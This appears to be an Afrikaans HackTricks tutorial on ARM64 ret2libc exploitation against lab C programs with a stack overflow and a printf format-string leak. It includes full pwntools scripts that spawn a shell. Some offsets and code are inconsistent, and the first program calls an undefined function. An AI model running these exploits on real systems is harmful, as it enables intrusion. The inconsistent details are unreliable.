Ret2lib + Printf leak - ARM64

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Ret2lib - NX bypass met ROP (geen ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compile sonder canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Find offset - x30 offset

Deur ’n patroon te skep met pattern create 200, dit te gebruik, en die offset te kontroleer met pattern search $x30, kan ons sien dat die offset 108 (0x6c) is.

As ons na die ontlede main-funksie kyk, sien ons dat ons direk na die instruksie wat na printf spring wil gaan, waarvan die offset vanaf waar die binary gelaai is 0x860 is:

Vind system and /bin/sh string

Aangesien ASLR afgeskakel is, sal die adresse altyd dieselfde wees:

Vind Gadgets

Ons moet in x0 die adres na die string /bin/sh hê en system aanroep.

Deur rooper te gebruik is ’n interessante gadget gevind:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Hierdie gadget sal x0 laai vanaf $sp + 0x18 en laai daarna die adresse x29 en x30 vanaf sp en spring na x30. Dus kan ons met hierdie gadget die eerste argument beheer en dan na system spring.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE bypass met printf leaks van die stack

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompileer sonder canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE and ASLR but no canary

  • Ronde 1:
  • Leak van PIE vanaf stack
  • Misbruik bof om terug te keer na main
  • Ronde 2:
  • Leak van libc vanaf die stack
  • ROP: ret2system

Printf leaks

Deur ’n breakpoint te stel voordat printf aangeroep word, is dit moontlik om te sien dat daar addresses in die stack is om na die binary terug te keer en ook libc addresses:

Deur verskillende offsets te probeer, kan die %21$p ’n binary address leak (PIE bypass) en %25$p ’n libc address leak:

Deur die leaked libc address van die base address van libc af te trek, is dit moontlik om te sien dat die offset van die leaked address vanaf die base 0x49c40 is.

x30 offset

Sien die vorige voorbeeld aangesien die bof dieselfde is.

Find Gadgets

Soos in die vorige voorbeeld, moet ons in x0 die address na die string /bin/sh hê en system aanroep.

Met rooper is nog ’n interessante gadget gevind:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Hierdie gadget sal x0 laai vanaf $sp + 0x78 en dan die adresse x29 en x30 vanaf sp laai en na x30 spring. Dus kan ons met hierdie gadget die eerste argument beheer en dan na system spring.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks